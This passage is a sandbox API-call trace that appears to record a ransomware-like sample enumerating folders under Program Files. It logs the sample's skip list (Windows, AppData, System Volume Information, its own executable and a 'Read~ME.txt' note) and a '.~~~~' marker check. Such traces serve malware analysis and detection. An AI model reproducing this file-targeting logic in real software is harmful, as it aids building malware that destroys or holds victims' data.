	[0079.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.652] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.652] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.652] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.652] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.652] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.652] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.652] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.652] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.652] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.652] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.652] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.652] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.652] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0079.652] lstrcmpiW (lpString1="14", lpString2="Windows") returned -1
	[0079.652] lstrcmpW (lpString1="14", lpString2=".") returned 1
	[0079.652] lstrcmpW (lpString1="14", lpString2="..") returned 1
	[0079.653] lstrcmpW (lpString1="14", lpString2="AppData") returned -1
	[0079.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", lpSrch="AppData") returned 0x0
	[0079.653] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.653] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", lpString2="C:\\Windows") returned -1
	[0079.653] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.653] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", lpString2="C:\\System Volume Information") returned -1
	[0079.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.653] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.653] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.653] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.653] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.653] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.653] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.653] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.653] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.653] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.653] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.653] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.653] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.653] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1
	[0079.653] lstrcmpiW (lpString1="BIN", lpString2="Windows") returned -1
	[0079.653] lstrcmpW (lpString1="BIN", lpString2=".") returned 1
	[0079.653] lstrcmpW (lpString1="BIN", lpString2="..") returned 1
	[0079.653] lstrcmpW (lpString1="BIN", lpString2="AppData") returned 1
	[0079.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", lpSrch="AppData") returned 0x0
	[0079.654] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.654] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", lpString2="C:\\Windows") returned -1
	[0079.654] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.654] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", lpString2="C:\\System Volume Information") returned -1
	[0079.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0079.655] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.655] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.655] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.655] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.655] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.655] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.655] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.655] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.655] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.655] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.655] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.656] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.656] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0079.656] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0079.656] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0079.656] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0079.656] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0079.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", lpSrch="AppData") returned 0x0
	[0079.656] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.656] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", lpString2="C:\\Windows") returned -1
	[0079.656] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.656] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", lpString2="C:\\System Volume Information") returned -1
	[0079.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0079.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a908
	[0079.657] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.657] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.657] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.657] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.657] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.657] FindNextFileW (in: hFindFile=0x37a908, lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.657] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.657] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.657] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.657] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.657] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.657] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.657] FindNextFileW (in: hFindFile=0x37a908, lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1
	[0079.657] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="Windows") returned -1
	[0079.657] lstrcmpW (lpString1="FPEXT.MSG", lpString2="oiikyy.exe") returned -1
	[0079.657] StrStrW (lpFirst="FPEXT.MSG", lpSrch=".~~~~") returned 0x0
	[0079.657] lstrcmpW (lpString1="FPEXT.MSG", lpString2="Read~ME.txt") returned -1
	[0079.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.658] GetCurrentThreadId () returned 0x618
	[0079.658] RtlWakeConditionVariable () returned 0x365f48
	[0079.658] FindNextFileW (in: hFindFile=0x37a908, lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0
	[0079.658] FindClose (in: hFindFile=0x37a908 | out: hFindFile=0x37a908) returned 1
	[0079.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0079.658] GetCurrentThreadId () returned 0x618
	[0079.658] RtlWakeConditionVariable () returned 0x365f48
	[0079.658] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0079.658] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="Windows") returned -1
	[0079.658] lstrcmpW (lpString1="FPSRVUTL.DLL", lpString2="oiikyy.exe") returned -1
	[0079.658] StrStrW (lpFirst="FPSRVUTL.DLL", lpSrch=".~~~~") returned 0x0
	[0079.658] lstrcmpW (lpString1="FPSRVUTL.DLL", lpString2="Read~ME.txt") returned -1
	[0079.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.658] GetCurrentThreadId () returned 0x618
	[0079.658] RtlWakeConditionVariable () returned 0x365f48
	[0079.658] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1
	[0079.658] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="Windows") returned -1
	[0079.658] lstrcmpW (lpString1="FPWEC.DLL", lpString2="oiikyy.exe") returned -1
	[0079.658] StrStrW (lpFirst="FPWEC.DLL", lpSrch=".~~~~") returned 0x0
	[0079.658] lstrcmpW (lpString1="FPWEC.DLL", lpString2="Read~ME.txt") returned -1
	[0079.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.659] GetCurrentThreadId () returned 0x618
	[0079.659] RtlWakeConditionVariable () returned 0x365f48
	[0079.659] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0
	[0079.659] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0079.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.659] GetCurrentThreadId () returned 0x618
	[0079.659] RtlWakeConditionVariable () returned 0x365f48
	[0079.660] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0079.660] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.660] GetCurrentThreadId () returned 0x618
	[0079.660] RtlWakeConditionVariable () returned 0x365f48
	[0079.660] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0079.660] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.660] GetCurrentThreadId () returned 0x618
	[0079.660] RtlWakeConditionVariable () returned 0x365f48
	[0079.660] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0079.661] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0079.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.661] GetCurrentThreadId () returned 0x618
	[0079.661] RtlWakeConditionVariable () returned 0x365f48
	[0079.661] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda432810, ftCreationTime.dwHighDateTime=0x1d5824b, ftLastAccessTime.dwLowDateTime=0x93946250, ftLastAccessTime.dwHighDateTime=0x1d5af99, ftLastWriteTime.dwLowDateTime=0x93946250, ftLastWriteTime.dwHighDateTime=0x1d5af99, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="picnic-q-promote.exe", cAlternateFileName="PICNIC~1.EXE")) returned 1
	[0079.661] lstrcmpiW (lpString1="picnic-q-promote.exe", lpString2="Windows") returned -1
	[0079.661] lstrcmpW (lpString1="picnic-q-promote.exe", lpString2="oiikyy.exe") returned 1
	[0079.661] StrStrW (lpFirst="picnic-q-promote.exe", lpSrch=".~~~~") returned 0x0
	[0079.661] lstrcmpW (lpString1="picnic-q-promote.exe", lpString2="Read~ME.txt") returned -1
	[0079.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.661] GetCurrentThreadId () returned 0x618
	[0079.661] RtlWakeConditionVariable () returned 0x365f48
	[0079.661] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0079.661] lstrcmpiW (lpString1="Services", lpString2="Windows") returned -1
	[0079.662] lstrcmpW (lpString1="Services", lpString2=".") returned 1
	[0079.662] lstrcmpW (lpString1="Services", lpString2="..") returned 1
	[0079.662] lstrcmpW (lpString1="Services", lpString2="AppData") returned 1
	[0079.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services", lpSrch="AppData") returned 0x0
	[0079.662] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.662] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Services", lpString2="C:\\Windows") returned -1
	[0079.662] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.662] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Services", lpString2="C:\\System Volume Information") returned -1
	[0079.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0079.663] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.663] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.663] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.663] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.663] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.663] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.663] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.663] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.663] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.663] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.663] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.663] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.663] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0079.663] lstrcmpiW (lpString1="verisign.bmp", lpString2="Windows") returned -1
	[0079.663] lstrcmpW (lpString1="verisign.bmp", lpString2="oiikyy.exe") returned 1
	[0079.663] StrStrW (lpFirst="verisign.bmp", lpSrch=".~~~~") returned 0x0
	[0079.663] lstrcmpW (lpString1="verisign.bmp", lpString2="Read~ME.txt") returned 1
	[0079.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.663] GetCurrentThreadId () returned 0x618
	[0079.663] RtlWakeConditionVariable () returned 0x365f48
	[0079.663] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0079.663] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0079.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0079.663] GetCurrentThreadId () returned 0x618
	[0079.663] RtlWakeConditionVariable () returned 0x365f48
	[0079.663] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1
	[0079.663] lstrcmpiW (lpString1="SpeechEngines", lpString2="Windows") returned -1
